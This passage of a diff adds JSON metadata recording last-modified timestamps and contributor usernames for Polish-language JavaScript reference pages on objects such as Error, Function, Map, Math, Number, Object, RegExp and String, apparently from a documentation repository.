+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/fileName": {
+ "modified": "2020-10-15T22:30:02.676Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/lineNumber": {
+ "modified": "2020-10-15T22:30:02.665Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/message": {
+ "modified": "2019-03-23T22:51:09.554Z",
+ "contributors": [
+ "fscholz",
+ "adam-tokarski"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/name": {
+ "modified": "2019-03-23T22:51:10.374Z",
+ "contributors": [
+ "fscholz",
+ "adam-tokarski"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/prototype": {
+ "modified": "2020-10-15T21:37:55.917Z",
+ "contributors": [
+ "mitelak",
+ "fscholz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/toSource": {
+ "modified": "2020-10-15T22:32:18.167Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/toString": {
+ "modified": "2020-10-15T22:32:18.562Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/EvalError": {
+ "modified": "2020-10-15T22:33:25.487Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function": {
+ "modified": "2019-03-23T22:57:36.964Z",
+ "contributors": [
+ "pkubowicz",
+ "thigrand",
+ "teoli"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/apply": {
+ "modified": "2019-03-23T22:26:19.022Z",
+ "contributors": [
+ "jangromko",
+ "pceuropa"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/arguments": {
+ "modified": "2019-03-23T23:51:16.714Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/bind": {
+ "modified": "2020-11-29T17:45:12.082Z",
+ "contributors": [
+ "derekqq",
+ "RobertGelu"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/caller": {
+ "modified": "2019-03-23T23:54:03.104Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Marcoos",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/displayName": {
+ "modified": "2019-03-23T22:33:56.919Z",
+ "contributors": [
+ "teoli",
+ "sefel"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/length": {
+ "modified": "2019-03-23T23:53:59.423Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Function/toString": {
+ "modified": "2019-03-23T23:54:00.212Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Generator": {
+ "modified": "2019-03-23T22:15:20.748Z",
+ "contributors": [
+ "labs4apps"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Infinity": {
+ "modified": "2020-03-12T19:37:41.172Z",
+ "contributors": [
+ "gaazkam",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/JSON": {
+ "modified": "2020-10-15T22:24:07.363Z",
+ "contributors": [
+ "krupinskij"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map": {
+ "modified": "2020-09-01T10:21:27.914Z",
+ "contributors": [
+ "struginskij",
+ "KonradLinkowski",
+ "108adams",
+ "Asek90",
+ "xgarrett",
+ "broslukasz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/clear": {
+ "modified": "2020-10-15T22:01:01.515Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/delete": {
+ "modified": "2020-10-15T22:01:01.152Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/entries": {
+ "modified": "2019-03-18T21:42:37.088Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/forEach": {
+ "modified": "2020-10-15T22:01:04.417Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/get": {
+ "modified": "2020-10-15T22:01:06.016Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/has": {
+ "modified": "2020-10-15T22:01:05.981Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/keys": {
+ "modified": "2020-10-15T22:01:06.126Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/set": {
+ "modified": "2020-10-15T22:01:06.173Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/size": {
+ "modified": "2020-10-15T22:17:26.741Z",
+ "contributors": [
+ "tipakA"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Map/values": {
+ "modified": "2020-10-15T22:01:06.933Z",
+ "contributors": [
+ "MarekHuckmann"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math": {
+ "modified": "2019-11-16T16:52:10.805Z",
+ "contributors": [
+ "Iicytower",
+ "teoli",
+ "Mgjbot",
+ "Balon",
+ "Ptak82",
+ "Faxe",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/E": {
+ "modified": "2019-03-23T23:47:55.039Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/LN10": {
+ "modified": "2019-03-23T23:47:54.538Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/LN2": {
+ "modified": "2019-03-23T23:47:52.019Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/LOG10E": {
+ "modified": "2019-03-23T23:47:59.792Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/LOG2E": {
+ "modified": "2019-03-23T23:47:53.913Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/PI": {
+ "modified": "2019-03-23T23:47:56.906Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2": {
+ "modified": "2019-03-23T23:47:57.323Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/SQRT2": {
+ "modified": "2019-03-23T23:47:59.037Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/abs": {
+ "modified": "2019-03-23T23:47:55.610Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/acos": {
+ "modified": "2019-03-23T23:47:58.749Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/asin": {
+ "modified": "2019-03-23T23:47:52.375Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/atan": {
+ "modified": "2019-03-23T23:47:58.908Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/atan2": {
+ "modified": "2019-03-23T23:48:00.596Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/ceil": {
+ "modified": "2019-03-23T23:47:58.042Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/cos": {
+ "modified": "2019-03-23T23:48:06.241Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/exp": {
+ "modified": "2019-03-23T23:48:06.373Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/floor": {
+ "modified": "2019-03-23T23:48:01.006Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/log": {
+ "modified": "2019-03-23T23:48:08.846Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/max": {
+ "modified": "2019-03-23T23:48:02.936Z",
+ "contributors": [
+ "ppasieka",
+ "teoli",
+ "safjanowski",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/min": {
+ "modified": "2019-03-23T23:48:05.366Z",
+ "contributors": [
+ "SphinxKnight",
+ "zdolny",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/pow": {
+ "modified": "2019-03-23T23:48:05.015Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/random": {
+ "modified": "2020-10-15T21:17:12.658Z",
+ "contributors": [
+ "Sqrcz",
+ "kanapka94",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/round": {
+ "modified": "2019-03-23T23:48:04.166Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/sign": {
+ "modified": "2019-03-23T23:13:52.324Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "PawelDudek"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/sin": {
+ "modified": "2019-03-23T23:48:09.765Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/sqrt": {
+ "modified": "2019-03-23T23:48:04.728Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Math/tan": {
+ "modified": "2019-03-23T23:48:02.693Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/NaN": {
+ "modified": "2020-03-12T19:37:38.834Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number": {
+ "modified": "2019-03-23T23:50:26.634Z",
+ "contributors": [
+ "Piterunihongo",
+ "teoli",
+ "fscholz",
+ "Diablownik",
+ "Chrisraven",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/EPSILON": {
+ "modified": "2020-10-15T22:24:18.127Z",
+ "contributors": [
+ "krupinskij"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE": {
+ "modified": "2019-03-23T23:46:06.341Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE": {
+ "modified": "2019-03-23T23:47:03.042Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY": {
+ "modified": "2019-03-23T23:47:08.730Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/NaN": {
+ "modified": "2019-03-23T23:45:44.372Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY": {
+ "modified": "2019-03-23T23:47:06.877Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Diablownik",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/constructor": {
+ "modified": "2019-01-16T16:01:19.654Z",
+ "contributors": [
+ "teoli",
+ "Marcoos",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/isInteger": {
+ "modified": "2020-10-15T21:56:18.899Z",
+ "contributors": [
+ "PaG",
+ "morthan"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/isNaN": {
+ "modified": "2020-10-15T22:24:16.707Z",
+ "contributors": [
+ "krupinskij"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/toExponential": {
+ "modified": "2019-03-23T23:47:01.823Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/toFixed": {
+ "modified": "2019-03-23T23:24:37.690Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/toLocaleString": {
+ "modified": "2020-10-15T21:57:55.583Z",
+ "contributors": [
+ "narghar",
+ "eLGi"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/toPrecision": {
+ "modified": "2019-03-23T23:46:55.576Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Number/toString": {
+ "modified": "2019-03-23T23:49:39.505Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object": {
+ "modified": "2019-03-23T23:51:13.882Z",
+ "contributors": [
+ "JacobDesight",
+ "teoli",
+ "fscholz",
+ "Diablownik",
+ "Ptak82",
+ "Mgjbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/assign": {
+ "modified": "2019-08-15T08:41:27.590Z",
+ "contributors": [
+ "oddehh",
+ "tkitynski",
+ "belfz",
+ "kkowalczuk",
+ "drzazga",
+ "JacobDesight"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/constructor": {
+ "modified": "2019-03-23T23:50:18.166Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "Wookieb",
+ "Marcoos",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/freeze": {
+ "modified": "2020-10-15T21:49:25.848Z",
+ "contributors": [
+ "PiosDamian",
+ "Arkej",
+ "kdex",
+ "piecioshka",
+ "aquz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/getOwnPropertyDescriptor": {
+ "modified": "2020-10-15T21:51:58.332Z",
+ "contributors": [
+ "fscholz",
+ "piecioshka",
+ "andersz-artur",
+ "mateusz-pietruch"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/hasOwnProperty": {
+ "modified": "2020-10-15T21:37:23.621Z",
+ "contributors": [
+ "JB1905",
+ "kanapka94",
+ "s1awek",
+ "dianafa"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/proto": {
+ "modified": "2019-03-23T22:15:34.204Z",
+ "contributors": [
+ "JacobDesight"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/prototype": {
+ "modified": "2019-03-23T23:53:56.350Z",
+ "contributors": [
+ "macborowy",
+ "rwa_kulszowa",
+ "dianafa",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/seal": {
+ "modified": "2019-03-23T22:50:09.394Z",
+ "contributors": [
+ "arturkulig",
+ "piecioshka",
+ "MichalZalecki",
+ "mhadas"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/toLocaleString": {
+ "modified": "2019-03-23T23:44:51.103Z",
+ "contributors": [
+ "kwarpechowski",
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/toSource": {
+ "modified": "2019-03-23T23:53:51.317Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/toString": {
+ "modified": "2019-03-23T23:48:38.071Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Object/valueOf": {
+ "modified": "2019-03-23T23:50:47.663Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Promise": {
+ "modified": "2020-11-11T08:51:14.847Z",
+ "contributors": [
+ "r2kode",
+ "mich_cz",
+ "SkillGG",
+ "szopenkrk"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Proxy": {
+ "modified": "2020-10-15T22:01:30.452Z",
+ "contributors": [
+ "0ctothorp",
+ "andrzejkrecicki"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Proxy/handler": {
+ "modified": "2020-10-15T22:01:32.237Z",
+ "contributors": [
+ "andrzejkrecicki"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Proxy/handler/apply": {
+ "modified": "2020-10-15T22:18:47.930Z",
+ "contributors": [
+ "magmast"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RangeError": {
+ "modified": "2019-03-23T22:51:19.492Z",
+ "contributors": [
+ "adam-tokarski"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RangeError/prototype": {
+ "modified": "2019-03-23T22:51:15.660Z",
+ "contributors": [
+ "adam-tokarski"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp": {
+ "modified": "2019-03-23T23:59:43.766Z",
+ "contributors": [
+ "wbamberg",
+ "lunesco",
+ "kisiiel",
+ "morthan",
+ "tomash18r",
+ "teoli",
+ "Nux",
+ "Mysz",
+ "Ptak82",
+ "Mgjbot",
+ "Marcoos",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/exec": {
+ "modified": "2019-03-23T23:47:09.516Z",
+ "contributors": [
+ "kowal.alek",
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Bedi"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/global": {
+ "modified": "2019-03-23T23:47:12.777Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Internauta1024A",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase": {
+ "modified": "2019-03-23T23:47:14.670Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Internauta1024A",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/lastMatch": {
+ "modified": "2020-10-15T22:02:47.225Z",
+ "contributors": [
+ "xShadow"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/prototype": {
+ "modified": "2019-03-23T23:44:47.433Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/source": {
+ "modified": "2019-03-23T23:44:52.062Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/test": {
+ "modified": "2019-03-23T23:47:41.762Z",
+ "contributors": [
+ "teoli",
+ "Chrisraven",
+ "Ptak82",
+ "Nux",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/toSource": {
+ "modified": "2019-03-23T23:47:09.941Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/RegExp/toString": {
+ "modified": "2019-03-23T23:47:08.946Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Set": {
+ "modified": "2019-03-23T22:07:58.875Z",
+ "contributors": [
+ "PiosDamian",
+ "klusaktomasz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.add()": {
+ "modified": "2019-03-23T22:07:51.409Z",
+ "contributors": [
+ "klusaktomasz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.clear()": {
+ "modified": "2019-03-23T22:08:01.977Z",
+ "contributors": [
+ "klusaktomasz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.delete()": {
+ "modified": "2020-10-15T21:56:04.971Z",
+ "contributors": [
+ "trusohamn",
+ "klusaktomasz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String": {
+ "modified": "2020-12-07T03:40:21.998Z",
+ "contributors": [
+ "SphinxKnight",
+ "matipicia",
+ "wbamberg",
+ "teoli",
+ "grzegorz",
+ "Ptak82",
+ "Internauta1024A",
+ "Mgjbot",
+ "JasonSpiro",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/anchor": {
+ "modified": "2019-03-23T23:48:21.565Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/big": {
+ "modified": "2019-03-23T23:48:11.354Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/blink": {
+ "modified": "2019-03-23T23:48:18.653Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/bold": {
+ "modified": "2019-03-23T23:48:19.144Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/charAt": {
+ "modified": "2019-03-23T23:48:20.523Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/charCodeAt": {
+ "modified": "2019-03-23T23:48:21.451Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/concat": {
+ "modified": "2019-05-14T05:09:36.210Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/fontcolor": {
+ "modified": "2019-03-23T23:47:08.399Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/fontsize": {
+ "modified": "2019-03-23T23:47:17.415Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/fromCharCode": {
+ "modified": "2019-03-23T23:48:13.561Z",
+ "contributors": [
+ "tomasz-janicki",
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/fromCodePoint": {
+ "modified": "2020-10-15T22:35:16.217Z",
+ "contributors": [
+ "Lukasz257"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/italics": {
+ "modified": "2019-03-23T23:48:17.339Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/link": {
+ "modified": "2019-03-23T23:48:15.378Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/prototype": {
+ "modified": "2019-03-18T20:37:36.182Z",
+ "contributors": [
+ "ktxc",
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/repeat": {
+ "modified": "2019-03-23T22:21:59.718Z",
+ "contributors": [
+ "kamce"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/search": {
+ "modified": "2019-03-23T23:48:27.010Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/slice": {
+ "modified": "2019-09-04T05:49:33.261Z",
+ "contributors": [
+ "huberts",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/small": {
+ "modified": "2019-03-24T00:07:45.142Z",
+ "contributors": [
+ "teoli",
+ "Krzysiek6",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/strike": {
+ "modified": "2019-03-23T23:48:13.069Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/sub": {
+ "modified": "2019-03-23T23:48:16.934Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/substr": {
+ "modified": "2019-03-23T23:59:55.346Z",
+ "contributors": [
+ "dzek69",
+ "KonradKubiec",
+ "teoli",
+ "Julien.stuby",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/substring": {
+ "modified": "2019-03-18T20:35:08.725Z",
+ "contributors": [
+ "Rafiki",
+ "teoli",
+ "Mgjbot",
+ "Nux",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/sup": {
+ "modified": "2019-03-18T21:16:52.805Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/toLowerCase": {
+ "modified": "2019-03-23T23:48:17.530Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/toSource": {
+ "modified": "2019-03-23T23:45:16.121Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/toString": {
+ "modified": "2019-03-23T23:48:31.894Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/toUpperCase": {
+ "modified": "2019-03-23T23:48:18.924Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/String/valueOf": {
+ "modified": "2019-03-23T23:48:27.633Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
